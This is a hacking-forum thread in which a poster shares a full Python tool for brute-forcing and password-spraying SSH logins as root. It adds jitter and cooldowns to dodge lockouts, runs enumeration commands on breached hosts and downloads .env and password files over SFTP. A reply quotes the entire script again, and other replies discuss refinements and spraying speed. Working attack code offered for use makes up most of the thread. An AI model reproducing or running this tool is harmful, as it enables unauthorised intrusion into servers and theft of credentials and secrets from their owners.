

# Forum:[Hack Forums](#)

Thread: [SSH Bruteforce/Sprayer + File Grabber & Enum](#)

**SIM-5613027** - April 17, 2025, 10:23 am

Requirements:

Python 3.7+

A VPS/PC that allows outbound access to port 22 (or whatever port you choose in script)

pip install asyncssh

Features:

Bruteforce SSH using password list and each password per IP

Sprayer, spray SSH using 1 password for each IP loops onto the next one.

File grabber - grabs file names and extensions (edit script to add/remove if you wish)

SSH Enumerator - runs commands in the host ssh to find out information about host (again, you can change the commands to add new/remove)

Code `#!/usr/bin/env python3`

```
import asyncio
import asyncssh
import os
import random
import time
import logging
```

```
# global settings
USER = "root"
MODE = "BRUTE" # or "SPRAY" for password spraying
```

```
enum = True
file_grabber = False
```

```
ip_file = "ips.txt"
pw_file = "pass.txt"
port = 22
```

```
MAX_CONN = 10
timeout = 5
RATE = 5
JITTER = 0.2
fail_limit = 5
cooldown_period = 60
```

```
CMD_TIMEOUT = 15
FIND_TIMEOUT = 20
```

```
SIZE_LIMIT = "-size -1M"
```

```
file_exts = ["*.env", "*password*"] # you can add more such as .pem and other file
names/extensions
baseCmds = ["uname -a", "whoami", "id", "ip addr"] # you can add as many as you'd like
```

```
downloadsDir = "downloads"
successLog = "success.txt"
```

```
tick = time.time()
rateGap = 1 / RATE
fails = {}
cooldowns = {}
successCount = 0
```

```
logging.basicConfig(
    format="%(asctime)s | %(levelname)s | %(message)s",
    level=logging.WARNING
)
```

```
def build_find_cmd():
    patterns = " -o ".join(f"-iname '{p}'" for p in file_exts)
    return f"find / -type f \\( {patterns} \\) {SIZE_LIMIT} 2>/dev/null"
```

```
def save_hit(ip, pw):
    date_str = time.strftime("%Y%m%d")
    with open(successLog, "a", encoding="utf-8") as f:
        f.write(f"IP: {ip}\nPASS: {pw}\n{'='*60}\n\n")
```

```
async def small_enum(conn, folder):
    enum_path = os.path.join(folder, "enum.txt")
    try:
        with open(enum_path, "w", encoding="utf-8") as f:
            for cmd in baseCmds:
                try:
                    res = await conn.run(cmd, check=False, timeout=CMD_TIMEOUT)
                    out = res.stdout.strip() or "(no output)"
                except Exception:
                    out = "(error or timeout)"
                f.write(f"$ {cmd}\n{out}\n-----\n")
    except:
        pass
```

```
async def find_and_download(conn, folder):
    cmd = build_find_cmd()
    try:
        res = await conn.run(cmd, check=False, timeout=FIND_TIMEOUT)
        files = res.stdout.strip().splitlines() if res.stdout.strip() else []
    except:
```

```

files = []

if not files:
    return

try:
    sftp = await conn.start_sftp_client()
    for remote in files:
        local = os.path.join(folder, remote.lstrip('/').replace('/', os.sep))
        os.makedirs(os.path.dirname(local), exist_ok=True)
        try:
            await sftp.get(remote, local)
        except:
            continue
except:
    pass

async def handle(ip, pw, sem):
    global tick, successCount
    async with sem:
        print(f"Trying {ip}")

        now = time.time()
        if now < cooldowns.get(ip, 0):
            await asyncio.sleep(cooldowns[ip] - now)

        delay = tick - time.time()
        if delay > 0:
            await asyncio.sleep(delay)

        tick = max(tick, time.time()) + rateGap * random.uniform(1 - JITTER, 1 + JITTER)

    try:
        conn = await asyncssh.connect(
            ip,
            port=port,
            username=USER,
            password=pw,
            known_hosts=None,
            login_timeout=timeout
        )
    except:
        fails[ip] = fails.get(ip, 0) + 1
        if fails[ip] >= fail_limit:
            cooldowns[ip] = time.time() + cooldown_period
            print(f"Cooldown set for {ip}")
            fails[ip] = 0
        return

    fails[ip] = 0
    successCount += 1
    print(f"[+] Success: {ip} ({pw})")

```

```
save_hit(ip, pw)
```

```
os.makedirs(downloadsDir, exist_ok=True)
folder = os.path.join(downloadsDir, f'success_{successCount}_{ip.replace(':', '_')}')
os.makedirs(folder, exist_ok=True)
```

```
if enum:
    await small_enum(conn, folder)
```

```
if file_grabber:
    await find_and_download(conn, folder)
```

```
conn.close()
print(f'Done with {ip}')
```

```
async def main():
```

```
    try:
        with open(ip_file) as f:
            ips = [line.strip() for line in f if line.strip()]
        with open(pw_file) as f:
            pws = [line.strip() for line in f if line.strip()]
    except Exception as e:
        logging.error(f'File error: {e}')
    return
```

```
for ip in ips:
    fails[ip] = 0
    cooldowns[ip] = 0
```

```
if MODE.upper() == "BRUTE":
    combos = [(ip, pw) for ip in ips for pw in pws]
elif MODE.upper() == "SPRAY":
    combos = [(ip, pw) for pw in pws for ip in ips]
else:
    logging.error(f'Unknown MODE: {MODE}')
    return
```

```
sem = asyncio.Semaphore(MAX_CONN)
tasks = [asyncio.create_task(handle(ip, pw, sem)) for ip, pw in combos]
await asyncio.gather(*tasks)
print("Finished all targets.")
```

```
if __name__ == "__main__":
    asyncio.run(main())
```

File download incase you want to use it directly:

[deleted]

Keep in mind, for speed-based checkers for SSH and other protocols i'd seriously recommend creating in c/c++ for speed.

**DarkG8** - April 17, 2025, 11:12 am

Very good idea and its implementation, but after studying the code, I found some flaws that should be fixed to make the code better:

- 1.Add try/except for all asynchronous operations.
- 2.Use async with to close connections automatically.
- 3.Normalize paths and protect against Path Traversal.
- 4.Replace global variables (tick, fails) with thread-safe alternatives.
- 5.Encrypt logs or at least hash passwords.
- 6.Limit the size of downloaded files.

I can explain it in more detail if you need me to

**SIM-5613027** - April 17, 2025, 11:36 am

(Apr 17, 2025 11:12 AM)DarkG8 Wrote: [\[CITE\]](#) Very good idea and its implementation, but after studying the code, I found some flaws that should be fixed to make the code better:

- 1.Add try/except for all asynchronous operations.
- 2.Use async with to close connections automatically.
- 3.Normalize paths and protect against Path Traversal.
- 4.Replace global variables (tick, fails) with thread-safe alternatives.
- 5.Encrypt logs or at least hash passwords.
- 6.Limit the size of downloaded files.

I can explain it in more detail if you need me to  
yes, in real implementation for production i agree should use all of those.

If needed i can add all of those

**DramaKing** - April 17, 2025, 2:26 pm

(Apr 17, 2025 10:23 AM)krava3 Wrote: [\[CITE\]](#) Requirements:

Python 3.7+

A VPS/PC that allows outbound access to port 22 (or whatever port you choose in script)  
pip install asyncssh

Features:

Bruteforce SSH using password list and each password per IP  
Sprayer, spray SSH using 1 password for each IP loops onto the next one.

File grabber - grabs file names and extensions (edit script to add/remove if you wish)

SSH Enumerator - runs commands in the host ssh to find out information about host (again, you can change the commands to add new/remove)

Code `#!/usr/bin/env python3`

```
import asyncio
import asyncssh
import os
import random
import time
import logging
```

```

# global settings
USER = "root"
MODE = "BRUTE" # or "SPRAY" for password spraying

enum = True
file_grabber = False

ip_file = "ips.txt"
pw_file = "pass.txt"
port = 22

MAX_CONN = 10
timeout = 5
RATE = 5
JITTER = 0.2
fail_limit = 5
cooldown_period = 60

CMD_TIMEOUT = 15
FIND_TIMEOUT = 20
SIZE_LIMIT = "-size -1M"

file_exts = ["*.env", "*password*"] # you can add more such as .pem and other file
names/extensions
baseCmds = ["uname -a", "whoami", "id", "ip addr"] # you can add as many as you'd like

downloadsDir = "downloads"
successLog = "success.txt"

tick = time.time()
rateGap = 1 / RATE
fails = {}
cooldowns = {}
successCount = 0

logging.basicConfig(
    format="%(asctime)s | %(levelname)s | %(message)s",
    level=logging.WARNING
)

def build_find_cmd():
    patterns = " ".join(f"-iname '{p}'" for p in file_exts)
    return f"find / -type f \\( {patterns} \\) {SIZE_LIMIT} 2>/dev/null"

def save_hit(ip, pw):
    date_str = time.strftime("%Y%m%d")
    with open(successLog, "a", encoding="utf-8") as f:
        f.write(f"IP: {ip}\nPASS: {pw}\n{'='*60}\n\n")

```

```

async def small_enum(conn, folder):
    enum_path = os.path.join(folder, "enum.txt")
    try:
        with open(enum_path, "w", encoding="utf-8") as f:
            for cmd in baseCmds:
                try:
                    res = await conn.run(cmd, check=False, timeout=CMD_TIMEOUT)
                    out = res.stdout.strip() or "(no output)"
                except Exception:
                    out = "(error or timeout)"
                f.write(f"$ {cmd}\n{out}\n-----\n")
    except:
        pass

```

```

async def find_and_download(conn, folder):
    cmd = build_find_cmd()
    try:
        res = await conn.run(cmd, check=False, timeout=FIND_TIMEOUT)
        files = res.stdout.strip().splitlines() if res.stdout.strip() else []
    except:
        files = []

    if not files:
        return

```

```

    try:
        sftp = await conn.start_sftp_client()
        for remote in files:
            local = os.path.join(folder, remote.lstrip('/').replace('/', os.sep))
            os.makedirs(os.path.dirname(local), exist_ok=True)
            try:
                await sftp.get(remote, local)
            except:
                continue
    except:
        pass

```

```

async def handle(ip, pw, sem):
    global tick, successCount
    async with sem:
        print(f"Trying {ip}")

        now = time.time()
        if now < cooldowns.get(ip, 0):
            await asyncio.sleep(cooldowns[ip] - now)

        delay = tick - time.time()
        if delay > 0:
            await asyncio.sleep(delay)

```

```
tick = max(tick, time.time()) + rateGap * random.uniform(1 - JITTER, 1 + JITTER)
```

```
try:
```

```
    conn = await asyncssh.connect(
        ip,
        port=port,
        username=USER,
        password=pw,
        known_hosts=None,
        login_timeout=timeout
    )
```

```
except:
```

```
    fails[ip] = fails.get(ip, 0) + 1
    if fails[ip] >= fail_limit:
        cooldowns[ip] = time.time() + cooldown_period
        print(f"Cooldown set for {ip}")
        fails[ip] = 0
    return
```

```
fails[ip] = 0
```

```
successCount += 1
```

```
print(f"[+] Success: {ip} ({pw})")
```

```
save_hit(ip, pw)
```

```
os.makedirs(downloadsDir, exist_ok=True)
```

```
folder = os.path.join(downloadsDir, f"success_{successCount}_{ip.replace(':', '_')}")
```

```
os.makedirs(folder, exist_ok=True)
```

```
if enum:
```

```
    await small_enum(conn, folder)
```

```
if file_grabber:
```

```
    await find_and_download(conn, folder)
```

```
conn.close()
```

```
print(f"Done with {ip}")
```

```
async def main():
```

```
    try:
```

```
        with open(ip_file) as f:
```

```
            ips = [line.strip() for line in f if line.strip()]
```

```
        with open(pw_file) as f:
```

```
            pws = [line.strip() for line in f if line.strip()]
```

```
    except Exception as e:
```

```
        logging.error(f"File error: {e}")
```

```
    return
```

```
for ip in ips:
```

```
    fails[ip] = 0
```

```
    cooldowns[ip] = 0
```

```
if MODE.upper() == "BRUTE":
```

```

    combos = [(ip, pw) for ip in ips for pw in pws]
    elif MODE.upper() == "SPRAY":
        combos = [(ip, pw) for pw in pws for ip in ips]
    else:
        logging.error(f"Unknown MODE: {MODE}")
        return

    sem = asyncio.Semaphore(MAX_CONN)
    tasks = [asyncio.create_task(handle(ip, pw, sem)) for ip, pw in combos]
    await asyncio.gather(*tasks)
    print("Finished all targets.")

```

```

if __name__ == "__main__":
    asyncio.run(main())

```

File download incase you want to use it directly:

[deleted]

Keep in mind, for speed-based checkers for SSH and other protocols i'd seriously recommend creating in c/c++ for speed.

Why would speed be a good thing? Modern SSH is rate-limited.

**SIM-5613027** - April 17, 2025, 3:02 pm

(Apr 17, 2025 02:26 PM)DramaKing Wrote: [\[CITE\]](#) Why would speed be a good thing? Modern SSH is rate-limited.

More aimed towards spraying attacks - but yes your correct modern SSH for regular brute-forcing speed wouldnt matter

**DramaKing** - April 17, 2025, 3:32 pm

(Apr 17, 2025 03:02 PM)krava3 Wrote: [\[CITE\]](#) More aimed towards spraying attacks - but yes your correct modern SSH for regular brute-forcing speed wouldnt matter

Right. I skimmed your post.

**Martha49** - April 17, 2025, 6:05 pm

You have provided no contacts for any help with the code you gave on this post? Why?

**DarkG8** - April 18, 2025, 1:22 am

(Apr 17, 2025 11:36 AM)krava3 Wrote: [\[CITE\]](#) yes, in real implementation for production i agree should use all of those.

If needed i can add all of thoseOf course, always bring everything to perfection.

**SIM-5613027** - April 18, 2025, 6:43 am

(Apr 17, 2025 06:05 PM)Martha49 Wrote: [\[CITE\]](#) You have provided no contacts for any help with the code you gave on this post? Why?

Message my TOX or onsite tox[.]chat

**Martha49** - April 18, 2025, 9:09 am

(Apr 18, 2025 06:43 AM)krava3 Wrote: [\[CITE\]](#) Message my TOX or onsite tox[.]chat

No? Why would I download virus. WhatsApp?

(Apr 18, 2025 09:09 AM)Martha49 Wrote: [\[CITE\]](#) No? Why would I download virus. WhatsApp?

Moderators ban, person is sending malware which is against many rules

**SIM-5613027** - April 19, 2025, 5:15 am

(Apr 18, 2025 09:09 AM)Martha49 Wrote: [\[CITE\]](#) No? Why would I download virus. WhatsApp?

Moderators ban, person is sending malware which is against many rules

You can compile it yourself or check the code....

<https://github.com/qTox/qTox>